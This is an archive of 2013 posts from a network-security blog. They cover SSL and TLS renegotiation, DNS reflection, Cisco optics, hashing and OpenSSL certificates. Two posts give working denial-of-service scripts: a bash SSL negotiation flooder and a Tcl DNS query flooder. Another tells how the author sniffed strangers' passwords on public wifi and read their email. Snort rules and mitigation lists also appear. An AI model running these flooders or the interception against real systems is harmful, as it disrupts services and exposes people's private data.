Monday, April 29, 2013

SSL negotiation flooder via curl

One of the pit falls with SSL is the ability to flood SSL negotiation attempts and not execute anything against the Application layer. Let's backup and see where  SSL happens at.

Layer5

And the application is not aware of this, since the SSL ( aka Transport Layer Security).

So the purpose of ssl/tls  negotiation flooding is to hammer the server at L5, but not request any data. What this does is to drive the server process and cpu high, but makes no requests or attacks at the application layer, and these numerous bogus request was bandwidth and IO.

So since we don't hit the Layer7-App, nothing is trigger to indicate this attack, causing the basic SysAdmins to have no clue they are under attack, without some other means.

A few tools exist that does these attack as a proof-of-concept, are available at  http://www.thc.org/ 

You can research that link for more details. The site has well written information for the InfoSec community.

This simple bash scripts does about the same thing and depends on the openssl application.

#!/bin/bash
#
#

#rev 1.0

#  ssl  negotiation flooding & generation via curl
#
#    SSL neg flood DoS tool
#    Basically this tool loops the  ssl neg and request no HTTP traffic
#
#
if [ ! $1 ]; then
            echo " Usage : $0  <delay in seconds between requests>  < The #of requests to execute>  <server or ip_address> <port> "
            echo ""
            echo "Example  $0 5 10 1.1.1.1 443 "
            echo ""

            exit 1
fi

#
i="0"

#
###set -xv
COUNTER=$2
MAX=999999999999999999999999999999999

if  (( $2 >= $MAX )) ; then

        echo "   "
        echo "Please make a request range of $MAX  or less"
        echo "   "
else


while [ $i -lt $COUNTER ] ;

  do  echo R | openssl s_client -host $3 -port $4 -reconnect
  echo "   "
  echo " Request # $i "
  echo "   "
  i=$[$i + 1]

#   let "COUNTER += 1"

done

fi

#


So the object of this attack is to make bogus repetitive request  via the ssl handshake & negotiation and never request any application data.  Most firewalls will not detect this unless they have UTM features enabled.

SNORT can detect these types of events using a rule similar to the following;


alert tcp $EXTERNAL_NET any -> $HOME_NET [443,465,636,990,992,993,994,995,] (msg:"DoS Detection for various SSL ports"; flow:established,to_server; ssl_state:!client_hello; content:"|16 03 00|"; depth:3; detection_filter:track by_src,count 50, seconds 5; reference:url,www.thc.org/thc-ssl-dos/; classtype:attempted-dos; sid:205001; rev:1; )

and for tls 1.0
 
alert tcp $EXTERNAL_NET any -> $HOME_NET [443,465,636,990,992,993,994,995,] (msg:"DoS Detection for various TLS 1.0 ports"; flow:established,to_server; ssl_state:!client_hello; content:"|16 03 01|"; depth:3; detection_filter:track by_src,count 50, seconds 5; reference:url,www.thc.org/thc-ssl-dos/; classtype:attempted-dos; sid:205002; rev:1; )



Adjust the count and seconds to tweak the trigger for these rules. You can use wireshrk/tshark to monitor the numbers of ssl handshake with something similar to the following

tshark

tshark -q -i eth0 -z "io,stat,1,COUNT(ssl.handshake)ssl.handshake"

or

tshark -q -i eth0 -z "io,stat,1,COUNT(ssl.handshake.ciphersuite)ssl.handshake.ciphersuite"


And monitor the number of SSL handshakes over a period of 1 even 5 secs if you  use the rules above as-is.


Ken Felix
Freelance Network/Security Engineer
kfelix  -at- hyperfeed -dot- com

Wednesday, April 24, 2013

how to identifiy DNS servers max responses limits

In this short blog, we will look at max DNS size limits. In a DNS reflection attack, the main goal of the attacker is to find a DNS server that's


  1. open resolvers
  2. has a low response limit ( EDNS )
  3. deploys no rate limits


This way the  attacker can spoof the target address against the open or even to degree a  closed DNS server and have that server send it's  replies to the victim network/host. This attack is a double whammy ,  since it floods the  open/closed dns server with a  bogus request  on behalf of the victim ip_address that we spoof.

Here's a way to determine the dns server max limits;

dig +short rs.dns-oarc.net txt 
 
https://www.dns-oarc.net/oarc/services/replysizetest 

So let's us the google public servers located at 8.8.4.4 and 8.8.8.8
 
 
sh-3.2$ dig +short rs.dns-oarc.net txt  8.8.4.4
rst.x3827.rs.dns-oarc.net.
rst.x3837.x3827.rs.dns-oarc.net.
rst.x3843.x3837.x3827.rs.dns-oarc.net.
"x.x.x.177 DNS reply size limit is at least 3843"
"Tested at 2013-04-24 21:49:25 UTC"
"x.x.x.177 sent EDNS buffer size 4096"

 
and

sh-3.2$ dig +short rs.dns-oarc.net txt  8.8.8.8
rst.x3827.rs.dns-oarc.net.
rst.x3837.x3827.rs.dns-oarc.net.
rst.x3843.x3837.x3827.rs.dns-oarc.net.
"Tested at 2013-04-24 21:49:25 UTC"
"x.x.x.177 sent EDNS buffer size 4096"
"x.x.x.177 DNS reply size limit is at least 3843"
sh-3.2$ 
 
 
So if the server support EDNS, it has no 512 byte limits.  So these attacks 
are low overhead for the attacker.

A simple dns query of 80bytes could generate a response of 3K or more and directed to a remote victim. This is why it's crucical to close dns servers and to rate limit the dns queries for repeated request.

To identify this attack it's quite simple and obvious, you will see numerous  requests for the same  RR and typically a hughe record type like that of a TXT or SPF.


You can measure the  size of the reply by using dig or host.

i.e
 sh-3.2$ host -v -t txt iana.org
Trying "iana.org"
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 11929
;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 0

;; QUESTION SECTION:
;iana.org.            IN    TXT

;; ANSWER SECTION:
iana.org.        59    IN    TXT    "$Id: iana.org 1516 2013-04-18 19:21:42Z davids $"

Received 87 bytes from x.x.x.62#53 in 22 ms




To mitigate and protect form these attacks you should do all of the below;



  • http://tools.ietf.org/html/bcp38
  • if your resolver has no rate-limiting capacity , you can typically do this at the firewall 
  • rate limit DNS response at the DNS server ( bind9  rate-limit )
  • deploy IPS/IDS for alert on DNS floods
  • limit the DNS server max reply size by limiting the size of the RR that you use ( e.g do you really need a 3K+ byte RR ? )
  • deploy DNSSEC  
  • setup inter resolver only, and filter traffic inbound to your clients
  • isolate public and enterprise DNS servers
     
Using common sense in monitoring your dns server, will go a long way to determine if your being abused. If you see the same request over and over and for large resources records, stop and mitigate it.

This message is approved by Ken Felix :)



Ken Felix 
Freelance Network/Security Engineer
kfelix -at- hyperfeed -----dot---- com

close open dns servers 

Tuesday, April 23, 2013

TIP: Incompatible SFP/SFP+ cisco

In this blog I will  demonstrate what happens when a SFP that's not compatible, are installed into a  cisco switch or router.

1st here's the switch type that I'm demo'ing this on.


Next, we will install a inferior SFP optical transceiver;  1gig SFP MM . And you will notice the port will go into err-disabled and cisco will log this;


Okay let's stop here and see why we get this. Per cisco, they don't like or allow anybody else  SFP/SFP+. Here's the quote from cisco website on how the checks works;


and



Basically they have a eprom that contains a crc code and serial information and when cisco runs the check, they fail and the SFP is marked incompatible.

Here's a list of SFP  that are supported.

http://www.cisco.com/en/US/products/hw/modules/ps4999/products_tech_note09186a00807a30d6.shtml

Now I know of one vendor that seems to make vendor neutral  optics.

http://www.transition.com


So if you have to use a 3rd party optics or don't want to buy cisco new prices, look at transition and call them up. btw: I used to work for one of their sister company. Transition networks has always been an alternatiev optic vendor. I have not used any of their SFP+ optics, but their 1gig stuff is solid.

Okay so now when we install the correct SFP into a cisco switch, it 's now happy and dorky and ready to go.





I 've worked on numerous projects and deals, where the cost of the optics and any conversion , became the deal breaker.

i.e

 Xenpak to Xenpak2 to SFP+

or

 GBIC to SFP

Almost all new network gear are moving to the Small Form Pluggable format. And it's a big forklift  ( $$$$.$$ )  from path-cables and optics to refresh your network or DataCenter from one type to another. In one client that did a refresh, they spent over 30K in patch cables alone,  with moving from the SC-SC to LC-SC interfaces cables, &  across 30 sites and on two continents. 

btw: I can help and consult on matters related to this example.

Cisco and most other vendors , does; "  the buy my optics  &  only my optics",  only due to any of the below factors;
  • to ensure you buy a quality transceiver
  • to eliminate any tac support case due to hardware issues related to a 3rd party
  • to make money with the customer, &  buying  the cisco branded product
  • to eliminate any knock offs or fakes

Now you will be surprised to find ,  that the SFPs in use today, are made normally by a handful of vendor and they make these across the board for all network/server suppliers.

e.g

  • Finisar
  • Stratos
  • Shenzhen
  • etc..

In fact, they make one round for vendor X  and then another round for vendor Y and so on. And if I had to guess, it comes from the same chinese shop.

Now with all of the above said, I want to show you some interesting things pertaining to  SFP transceivers and 3rd parties. The unknown SFP from the above example,  actually  works in a  cisco  3835.

 Yes the cisco 3560 switch,   rejected the same  SFP ,  but the router was okay with it.  Here's a "show controller gi 0/0" output for that transceiver;


 Notice the FINISAR corp? And part#  FTFL8519P2BNL?


Okay guess what, the cisco brand GLC-SX-MM are also manufactor by the same vender ; FINISAR.

Look here;




and here;


So the same vendor with a cisco brand vrs non-cisco brand. And the non-branded SFP does not,  and let me repeat, " does NOT work in a cisco switch " but works in a router.



Okay you think that's weird, a cisco brand GLC-SFP-T 1000baseT SFP adapter of mine that works in a cisco switch. Does not work in a cisco router. I have numerous cisco TAC case on this  exact issues, and TAC has been mute and speechless with giving me an solid answer; "as to why?".  They have always exchanged or replaced the SFP transceiver, but  you would expect a cisco branded  SFP, would work in a cisco router or switch.


Look here if you doubt me;



Yes, this was from  a cisco brand GLC-T, &  that did not work in a cisco router.

Here's the line up of the 4 SFP that I tested for this blog, one being a 1000baseT and 3 being a GLC-SX-MM fiber. With the top SFP being a cisco badge SFP, you can make it out if you look very close. The only un-labeled cisco SFP works in a router,  but not in a switch.





And lastly, here's a another cisoc SFP that works in a router or switch;



So always remember to check for cisco compatible SFP, &  if you don't buy cisco branded SFPs. And even a branded cisco SFP , might not work across all cisco hardware and linecards and ios versions.

btw: these last examples where done against a cisco 3825 running ioscode;




Ken Felix
Freelance Network & Security Engineer
kfelix -at- hyperfeed --dot-- com



Wednesday, April 17, 2013

Tcl version script

Playing around with tcl and encountering some issues on a cisco router, I built this tcl script that display some locale env and information.

#!/usr/bin/tclsh
#
#

#  tcl dislay script 
#
puts " "
set sec [ clock seconds ]
#
puts "Time: [clock format $sec -format %r]"
#
puts " "
#
puts "************************************************"
puts " The Script path/name    ===> $argv0 "
puts " CmdLine arguments sets  ===> $argc "
puts " Executed  by the user   ===> $tcl_platform(user)"
puts ""
puts "*************************************************"
puts " Tickle Version $tcl_version OS $tcl_platform(os)  $tcl_platform(osVersion) and Machine $tcl_platform(machine) Platform $tcl_platform(platform) "
info patchlevel
puts " "
puts " "
puts "**************************************************"
puts  "The  Tickle Package Path  Information:"
puts ""
puts  $tcl_pkgPath"
puts ""
puts "**************************************************"
puts " "
puts $auto_path
puts " "
package require dns
package names
puts ""
puts " ^     ^"
puts "( @ . @ )"
puts "    o  "



Just playing around with Tcl, working on how to display all supported packages and hopefully display them along with the pkg version#.

Stay tune


Ken Felix
freelance Netowork/Security Engineer
kfelix/at/hyperfeed /dot/ com

Tuesday, April 16, 2013

Hash and Encryption Explanation

In my current dead-end role, I've became the main technical interviewer. It amazes me on the number of candidates that I interview for IT related roles, and who do not quite understand the differences between a   hash function  & from that of a cipher encryption.

Almost everybody in  the IT business, uses one of these function indirectly and via any of the following technologies an probably on a everyday basis;

VPNs
unix/window password
filesystem encryption
SSH/sFTP/SCP
SSL
etc......


I will try to explain this simple process & the difference with  a "hash function vrs encryption "

A hash function takes data of any variable length, and produce  computer generate hash based on a set algorithm. This hash ( aka message digest )  is of a "fix" length. Common hash types in the IT computer sectors are ;


  • SHA1 20bytes
  • SHA2 ( 224, 256, 384, or 512 bits)
  • MD5  16bytes
Not so Common hash types are;
  • Tiger
  • RipeMD160
  • HAVAL
Take the letter A, let's hash it with md5 and see the resulting  output after the hash function generation ;

sh-3.2$ md5 -s A
MD5 ("A") = 7fc56270e7a70fa81a5935b72eacbe29
sh-3.2$


Okay that produce the above 16bytes ( 128 bit ) md5 hash. This is  a one-way process and not crackable, outside of a brute-force attack. If we would have used sha1, it would have became ;

6dcd4ce23d88e2ee9568ba546c007c63d9131c1b

And the message digest would be 160bits/20bytes in length


Every time we use the one-way hash generator, the resulting hash would always be the same. So if I hash the letter "A" today on one machine, it would still be the same message digest of  7fc56270e7a70fa81a5935b72eacbe29  on another machine. 

Since this hash function will always compute the same message digest for the same data input, we could compute a digital hash to verify that data content has not change. Weaker hash functions have been deprecated due to a hash message for one set of data could result in a computed message digest that would collided with another. These collision where noted via these supper duper mathematical genius & wizards :)

e.g

google "Xiaoyun Wang"



Okay so now let's look at encryption. 

Encryption does thing slightly different, we take un-encrypted data (aka  plaintext ) and encrypted the data within a method to make it a secret from external parties. In all encryption, it's typically done so the data is not grown or reduced in size or content during the encryption process.

Various types of ciphers , provides a set degree of encoding function to the plaintext. And they typically deploy one of the following

block ciphers ( fix blocks of bits of data )

or 

stream ciphers ( pseudorandom streams )

The choice of the encryption cipher might be based numerous factors such as;

speed
strength
choice of block sizes
governmental restrictions
etc....

With all encryption types,  the same Algorithms needs to be used by both parties during the encryption and decryption process to recover the plaintext. 

( e.g   I can't encrypt with 3DES on end and expect to recover the plaintext with AES on the other end  )

So the same encoding function and keys needs to be know, and these are call symmetrical encryption.

Now let's demostrate this using a file I created from a unix ls output;



 
Okay so we will now encrypt this file using  openssl  and the following ciphers types;
aes128 ,
aes192, aes256




You notice that we encrypted the file,  and the size has not changed and the plaintext is not recognized any more.

( see below )



So their you have it,  &  with real examples of  hash function vrs data encryption.

Ken Felix
Freelance Network & Security Engineer
kfelix  a-t hyperfeed -d-o-t- com



 

Monday, April 15, 2013

Google Safe Browse

Google offers some what of a free online diagnostic that can warn you of sites that hosts bad content such as malware/trojans/virus






To use this service install the url link http://www.google.com/safebrowsing/diagnostic?site= with thedomain  of interest appended

e.g

http://www.google.com/safebrowsing/diagnostic?site=socpuppet.blogspot.com


Google maintains relevent information, pertaining to the site  & if any thing negative was found.

The "Jerry Fletcher": who's watching? should you be paranoid ?

Conspiracy Theory 

Was the name of the movie that Mel Gibson played as a character named " Jerry Fletcher ".  The movie was a classic, & with great acting via Mel.  This brings up my rant about the internet and who's doing what with our data ?

We use the internet for everything from ; downloading movies, making calls, checking our emails, mobile device access,  etc....

  • Is this information really  keep safe and secured?

  • the persons and groups managing theses systems, "who are they, what's their background, are the security cautious" ?

  • Do we know who all  has access to our information?

  • Is their any way to  really find out ?

Okay so the above, is a  list of questions, everybody should be asking themselves. We live in a day and age, where we freely give any tom , dick & harry our information,  and we never think twice about what's really happening.

Take a personal life example of mine.  I'm enrolled in some type of ID watch program, due to a backup-tape, with my payroll data/information ( Name, SSN, Address, god only know what else ) was lost by IronMountain. Due to full disclosure, the former employeer had to notify me of the potential risk  & that my information could be out in the wind. Knowing IronMountain, the box with tapes in it,  probably fell off the truck :)

Here's another example, I did a network/security refresh for a major health organization less than 8 years ago. They had those big 30gal sensitive information  destruction collector containers, that you drop in notes, half-written applications, or other documents that contains sensitive info,  etc....

e.g

like one of these


The papers inside typically has some  types of  sensitive information on it such as ; DOB, SSN, your address,  county/state/county of birth, Driver-ID#, list of your doctors and any health questionnaire answers ( do you have AIDS/ herpes, are you pregnant, and when was your last bowel movement, etc.... ). They where very much surprised, when I demonstrate that a partial filled container could be compromised, and information easily retrieve from the entry slot. Now you have a medical building with multiple floors/wings, who has access by the midnight cleaner crew, snack vendor guy , building maintenance , and god only knows who else. And we do not have any ideals on their backgrounds, trustworthiness or criminal background. For all we know, Julie from the "office clean inc", could be making a few extra $$$.$$s by harvesting some ID information off a few spent & discarded applications.

What was scary about this, I went onsite thru the loading dock and found one of these containers sitting freely on the dock unsecured.






Okay so now let's look at some of the electronic examples. I worked in numerous outfit which made use of a secured email system (ironport,Macafee,etc ) and theses  outfits would have persons that would take a encrypted electronic file attachment, now send it thru a non-encrypted means or storage on a fileserver with no  filesystem encryption. So it was secured at one time & age, but now it's just been freed like a white dove at a wedding.




How about that WiFi hot-spot? Would you be surprise, if I told you some of my  earlier wifi interception activities that I did,  and  all by harvesting  user/password combos that I collected at borders book, using a wifi adapter and ettercap and/or dsniff.

These types of locations, deploy a wifi systems with no privacy between the associated clients, so anybody on the GUEST-WIFI, could see all other traffic. And if you had any device ( laptop, phone, ipad, etc...) that access any online systems & without any security, your password could be harvest.  The end users where dumb to this fact, or  had no knowledge of the systems & the exposure they where putting their selves at. So they had no clue, that the guy sitting 2 tables down ( me ) , could see and intercept their wifi transmissions, and harvest their online user details.

For a demo, I stole a few  passwords from a guy that had a iphone email account setup to use POP3. Once I had his username/passswords, I could now access his email account and retrieve his personal emails. One guy I did this to, was an insurance salesman. So most of his email had homeowners applications for insurance policies. These forms listed everything from their address, place of employment, any active alarm monitoring systems installed, & down to their annual income.

I bet he  ( the salesman ) didn't know that I had his this access, and nor did his clients. If they would have found out they would have been ;


and then 




Here's another example, at the same wifi hotspot, I intercepted a lady who, I will call her charlie123@herdomain.com ( and no that's a made up name :) ), she was accessing her email in the clear. The same username and password that she used for email at her mail account, was the  same password for ; ebay, paypal, and her online banking.


Yes , charlie123 did not change her username/login, and used the exact same  logins for the above and probably even more.

Okay are you scared now ?





Last example, a colleague of mine order his baseball tickets from a online ticket broker, using his SIP/VoIP access. He gave his credit card#, ccv#, billing address, and other information to a person over a unsecured means, and  thru the internet at that. All in order to get our baseball tickets at $44.00.


Okay, so now let's think about this.

  • be careful of the external systems you use 
  • ensure that any passwords you use, are unique  &  for the various systems that you access
  • try to limit the information present to these systems
  • review your own security posture & procedures
  • try to manage a smaller digital foot-print  ( I got rid of 90% of my social online access in just the last 3 years  alone )
  • eliminate cookies within your browser
  • eliminate or erase your browser history or use some type of safe-browse
  • configured your browser to only support strong cipher_suites
  • validate all sites urls ( just don't click on  them in the link )
  • validate all sites certificates
  • don't fill out those stupid "write your email down here" or mailing list
  • if you have to  use a wifi hotspot that open  & with no security, vpn back into a secured network & ensure split-tunnel is off.
btw:  I host vpn gateways just for this purpose, to allow for roadwarriors to gain access to internet via a more secured channel 

I host anonymous mail aliases for individuals who wants to cut down on spam'd email.


 and lastly;   stay off the internet 

( the best advice  that I can offer)

Yes, if you don't use the internet for your access, than your information,  would not be exposed. But you still have the other concerns as given in the start of this blog. You can't trust any body with keeping your information secured. So don't trust anything or anybody, with security of your information.



Ken Felix
Freelance Network/Security Engineer
kfelix -a-t- hyperfeed -d-o-t com




Thursday, April 11, 2013

SSL re-negoiation vulnerability & how do I check ?

Okay this post goes hand-in-hand with the previous openssl tip.  I forgot this one tip,  and I promised this is the last one.... will for now :)


SSL is subject to a major flaw know as "SSL Renegotiation vulnerabilities". What this means, a MiTM attacker could easily hijack an already  establish ssl connection, & renegotiated with the server ( if the server was vulnerable and exposed ).

Or conduct a flood, causing unwanted cpu cycles re-negotiation a client.

So how do you know if your server is vulnerable?

Okay, very easy.

We use  OpenSSL to test the server,  and it's action upon a request to reneg from a client.

Here's how;

openssl s_client  -connect www.example.com:443 -state

Once connected, you issues a capital  R all by it's self and with a carriage return.

If the server support renegotiation, you will see the following displayed;

R
RENEGOTIATING
SSL_connect:SSL renegotiate ciphers
SSL_connect:SSLv3 write client hello A
SSL_connect:SSLv3 read server hello A
depth=0 /C=US/ST=Somewhere/L=Somecity/O=CompanyName/OU=Organizational Unit Name (eg, section)/CN=Common Name (eg, YOUR name)/emailAddress=Email Address
verify error:num=18:self signed certificate
verify return:1
depth=0 /C=US/ST=Somewhere/L=Somecity/O=CompanyName/OU=Organizational Unit Name (eg, section)/CN=Common Name (eg, YOUR name)/emailAddress=Email Address
verify return:1
SSL_connect:SSLv3 read server certificate A
SSL_connect:SSLv3 read server key exchange A
SSL_connect:SSLv3 read server done A
SSL_connect:SSLv3 write client key exchange A
SSL_connect:SSLv3 write change cipher spec A
SSL_connect:SSLv3 write finished A
SSL_connect:SSLv3 flush data
SSL_connect:SSLv3 read server session ticket A
SSL_connect:SSLv3 read finished A
R
RENEGOTIATING
SSL_connect:SSL renegotiate ciphers
SSL_connect:SSLv3 write client hello A
SSL_connect:SSLv3 read server hello A
depth=0 /C=US/ST=Somewhere/L=Somecity/O=CompanyName/OU=Organizational Unit Name (eg, section)/CN=Common Name (eg, YOUR name)/emailAddress=Email Address
verify error:num=18:self signed certificate
verify return:1
depth=0 /C=US/ST=Somewhere/L=Somecity/O=CompanyName/OU=Organizational Unit Name (eg, section)/CN=Common Name (eg, YOUR name)/emailAddress=Email Address
verify return:1
SSL_connect:SSLv3 read server certificate A
SSL_connect:SSLv3 read server key exchange A
SSL_connect:SSLv3 read server done A
SSL_connect:SSLv3 write client key exchange A
SSL_connect:SSLv3 write change cipher spec A
SSL_connect:SSLv3 write finished A
SSL_connect:SSLv3 flush data
SSL_connect:SSLv3 read server session ticket A
SSL_connect:SSLv3 read finished A
SSL3 alert read:warning:close notify
closed
SSL3 alert write:warning:close notify

hackbox:

Okay so that's the quick easy way to test. But how do you protect yourself from this attack?


Easy;


  • patch all of your systems, and all applications that uses ssl/tls
  • determine if you need renegotiation
  • eliminate any weak cipher supports
  • upon openssl s_client establish check for "Secure Renegotiation IS NOT supported", if present , deny and/or fix the server or just turn off re-negotiation
  • review your server logs
  • disable SSLv2 ( anything modern , should already have been disable ,, but ..... always check )
  • contract with a security auditor and pen-tester like myself  and schedule regular vulnerabilities testing
  • install a WAF or some other application firewall,  or other  mitigation gear ( i.e F5 SLB,IPS )  
  • install SSL offloader  and accelerator 
The above sample output ,  was from a server and a past  gig that I completed. We identified this risk and worked with the SySAdmins, to fix the issues.

I hope you found this post useful and helpful.

Ken Felix
Freelance Network/Security Engineer
kfelix-a@t-hyperfeed-dot-com








Friday, April 5, 2013

DoS dns-udp flooder via tcl

Here's a DoS tool for the generation of udp traffic and  towards a dns server .

#!/usr/local/bin/tclsh
#
# dnsflooder.tcl  dns_flood-traffic generation  DoS tool
#
# rev 1.0
package require dns
#
#
if { $::argc eq 0 } {
   puts ""
   puts "USAGE: $::argv0 www.example.com"
   puts ""
   exit 1
}


set query $argv



for {set h 0} {$h <= 99999999} {incr h} {
   set dns  [::dns::resolve $query ]

 }



Be warn, for training and Demonstration purposes only

Ken Felix
Freelance Network and Security Engineer
kfelix -at- hyperfeed -dot- com

( @  @ )
       O
       



http traffic generation with tcl

Here's a quick tcl script for http traffic generation. It does not support https at this point. I 'm working on it :)

I'm calling this tcl script  "httptragen.tcl" , but it should be called the http tickler ( pun intended )

#!/usr/local/bin/tclsh
#
# httptragen.tcl http_traffic generation for  testing and pulling the same request uri
#
# rev 1.0
package require http
#package require tls
#
#
if { $::argc eq 0 } {
   puts ""
   puts "USAGE: $::argv0 http://example.com/url"
   puts ""
   exit 1
}

::http::config -useragent "SOCPuppets_Tickler"

set url $argv



for {set h 0} {$h <= 999} {incr h} {
   set http  [::http::geturl $url ]
   set html  [::http::data $http]

 }


     
This will allow you to make  http traffic if you need to test a  site and have nothing else. The for loop will run upto 1000 requests or a control-C.

Ken Felix
Freelance Network/Security Engineer  " Trying to break networks and systems since  1991"
kfelix  -at- hyperfeed -dot- com

(  * . * )
     @

Thursday, April 4, 2013

OpenSSL trick#3 s_server

Okay this is the final tip and trick with openssl.

Most web systems engineers, 1st use of the openssl utility is for creating a csr and/or using the s_client to pull a cert from an active website. In this post we are going to talk about the s_server option. It's one of my most  favorite option within openssl function, but most likely; " nobody ever uses or heard of it".

s_server is used mainly if you want to test a certificate before you upload it onto a webserver,  server-load-balancer, or into  a SSL inspection device ( SSL-DPI, DLP appliance, firewalls, DoS Layer7 application monitoring appliances,........)

1st I'm going to walk you thru the process to create a csr ( certificate signing request ) and a self-sign certificate.

A: We will have to make a key, this is a private key and is used by the web-server. It's the key that basically says " I can decode the data"

sh-3.2$ openssl genrsa -des3 -out www.key 2048
Generating RSA private key, 2048 bit long modulus
.................................................................................................+++
.+++
e is 65537 (0x10001)
Enter pass phrase for www.key:
Verifying - Enter pass phrase for www.key:
sh-3.2$


B: now we make a CSR. In the real life, this CSR would be submitted to a CA to be signed

openssl req -new -key www.key -out www.csr

note: It's going to prompt you for some site specific information & details

sh-3.2$ openssl req -new -key www.key -out www.csr
Enter pass phrase for www.key:
You are about to be asked to enter information that will be incorporated
into your certificate request.
What you are about to enter is what is called a Distinguished Name or a DN.
There are quite a few fields but you can leave some blank
For some fields there will be a default value,
If you enter '.', the field will be left blank.
-----
Country Name (2 letter code) [AU]:US
State or Province Name (full name) [Some-State]:IL
Locality Name (eg, city) []:Harlem Park
Organization Name (eg, company) [Internet Widgits Pty Ltd]:socpuppets
Organizational Unit Name (eg, section) []:myblog example
Common Name (eg, YOUR name) []:KenFelix
Email Address []:kfelix@hyperfeed.com

Please enter the following 'extra' attributes
to be sent with your certificate request
A challenge password []:
An optional company name []:
sh-3.2$

 

Up to this point we have a CSR that could be sent to a ssl order site, for purchasing a certificate.
 http://www.sslshopper.com/ 

C: Here we are going to sign our own cert;

 sh-3.2$ cp www.key  www.key.backup

sh-3.2$ openssl rsa -in www.key.backup -out www.key
Enter pass phrase for www.key.backup:
writing RSA key


sh-3.2$ cat www.key
-----BEGIN RSA PRIVATE KEY-----
MIIEowIBAAKCAQEAuSAZNXq9MXIiuFjHv6sRWn3Xj0nWgO6E0Dwedcj2wQpvgtOd
+Q5ZYh7au8qUznlvXPAsW7/GB21xu5rinOGhzm1QSg9FbFpGzNOB1vvSWewzhsVo
ddceeuXRz4VYSCfPBGmQ+H6guBAsIeRX0xUObRgsXb7rtce5k9oRe+5uBYLwMboL
ytaLzU8EnJcLWKfQf9w/OGPHMiF3pfOTXi8G0LGdsGMjdP3jFdrHgRbgtjLSMLTY
9wEnMCYNe4yi5UZa861P4pyCSAyWEaLtdMT1lwTKPS/UGG+kiIpJAD7CjvYDO8Bu
eSbEGtCoVTNSOJ3xfzDG2iqg9Uz8n2TNnq9UdQIDAQABAoIBAG6Q8z1zryenCYGc
1MBvBZBMdMBJ02lyC7TrEy459tZYyz0R8tnbbhsiXnWmirW+5XpWn8e0hCvPfAwW
d55HTIKj2z5AXLBYQsz2zid+g6XdYvDtWnR3JOc199e/xnhh/kyeWE1yI7+LOTCM
1r9lZhZWR7k93D3Xqcjah3LDdsam5jnSv/yWbrgrWqsiqg7HbQ7IsKgUHKqVFxCv
Qj4N1k43+nVpcJe+jHx1FFv33wa5bhVbGgCvCDrqH0ZXMLVqsbUDf2iF5Zo8Y6Yb
SFcCFRKx3SC59uheYMM1YuiNwa/g/QUt3L7qZAKH1qyfyr5rkciqT3GfJQ5NmNCP
g59y/EECgYEA8OQ0ZFljD+o6h0VIqTmeqKoIi+cIysEWjtdI/2HxhzK4eVAeavWL
nEqAonu7EnXuCfTFkqPDwfZR7zDmPOWhHfe4U6KsxF5NPpQOg/4bOI4BDQlsMNNa
mG5KyyKar9wszPWHfXXdilqOnblokg6VVI+GOXqkK4LG6El3tGSdlkkCgYEAxLyB
ISLY4ENxtZxI0PTkvYcs0nUm5PUXt7RLM5YAfQOAt8WhaN5dW/O/b23zDMW2uMfj
nGxE79qtm50UrIZugHFSNTctUws71+ztuSYEvU4I4YKRSwNUsKH79LQG+UWp02kC
0IP90rWSd04d0QK2HMwc0s4oK2bdW9v18JeeHM0CgYEAlpK+oP8yqa8KeKV5HrYy
k1D9WJ3IZBw/wneVXHTXaV/t6X6IFOl5I+956paWv5pReY2ztc6BvYr/ehjBwczz
Ye0HHdgwT+p2NCiNzjmWwEobJBAAvaBPH7rJK6JsuIJSyqaq02RKX4HtZW+QisNs
2leAWgtr9Pqg5G+P0IWX72kCgYBKUkQd9oIjxpbQWugPOFSpXMWMBAHbgNOi7JN0
O3iXwZkA08I0UbzHHf/14n1tF8v9ZlYQI76vNddb8C19N5PLJgQ+YkfXFWlYGwN7
bGdh9Hbaam7k/a8iwy7htJjl1nFfkk4j45kh3sIkG/ibmwCdRGanJIZ8TvHU3/W7
HCv5CQKBgDZDIu8PTDeMc32yVzmBZGyFtDR+w2E0uamWG9pf7pgrP5zO7T70YRab
2y9R529+NwUXw95Immha7Ln1vYW3QvCRdWiqoEUcWIDwooUimVhICqOeb7PNgSJx
8gf+VhL/AKF7/3q/xftPPSfJp5f8WVQEBFLrAYxW4gGSwHrG7cOb
-----END RSA PRIVATE KEY-----
sh-3.2$



note: This key is the server private-key, and that means you protect this key. If this key is compromised, than all security is lost, and you would have to renew the key and re-sign the cert with the new key.

If you had generated a CSR and submitted it to a CA, you would probably destroy the cert and key, and craft a new CSR with a new key.

D: Now we self-sign our csr , & with the private-key that has any passphrases removed;

sh-3.2$ openssl x509 -req -days 1 -in www.csr -signkey www.key  -out webserver.crt
Signature ok
subject=/C=US/ST=IL/L=Harlem Park/O=socpuppets/OU=myblog example/CN=KenFelix/emailAddress=kfelix@hyperfeed.com
Getting Private key
sh-3.2$



noted the -signkey and how it tells you it's a private-key :)

So up to step D, all website would have to generate a key + csr. Step D is only used in this case, since I'm cheap,  and did not want to have a cert signed by a recognize CA ( certificate Authority ).

So I could valid my work by re-reading the newly crafted/ordered certificate back, with openssl;

openssl x509 -in webserver.crt -noout  -text

Output was not shown due to size.

Okay now for s_server, you have a certificate signed by a CA,  or self-sign certificate,  and let's say now you want to test it's functionality.

1: 1st let's start up openssl with  ssl_server ( hench the name s_server ) and we will attach our cert and key to this server .

By default  openssl s_server runs on port#4433 and uses tls1. I'm going to demostrate port #443, which requires  root access to bind to a port <1023

sh-3.2$ sudo openssl s_server -key www.key -cert webserver.crt -www  -port 443
Password:
Sorry, try again.
Password:
Using default temp DH parameters
Using default temp ECDH parameters
ACCEPT


note: if you don't have permission for the port you will get the following error on screen

bind: Permission denied

 But for testing, you can  & should use the default 4433/tcp.port unless,  you have other specific issues.

2: (optional) we validate we have a listener on  the tcp.port 443 in my example;



sh-3.2$ netstat -an -f inet | grep  443
tcp4       0      0  *.443                  *.*                    LISTEN
sh-3.2$


3: okay so we have a listener  bound to tcp/443 & with my newly crafted certificate and key, let's test with a browser locally to localhost

OKAY this looks good;





and



And finally when we completed the acceptance, we get a page  that spells out  a lot of good details;




 and finally, we can see the messages in a unix shell;


 sh-3.2$ sudo openssl s_server -key www.key -cert webserver.crt -www  -port 443
Password:
Sorry, try again.
Password:
Using default temp DH parameters
Using default temp ECDH parameters
ACCEPT
ACCEPT
ACCEPT
ACCEPT
ACCEPT
ACCEPT
ACCEPT
ACCEPT
ACCEPT



Other cool cmdline options; -state and -msg if you need debug details , and verbose vrs terse outputs;


 sh-3.2$ sudo openssl s_server -key www.key -cert webserver.crt -www  -port 443 -state
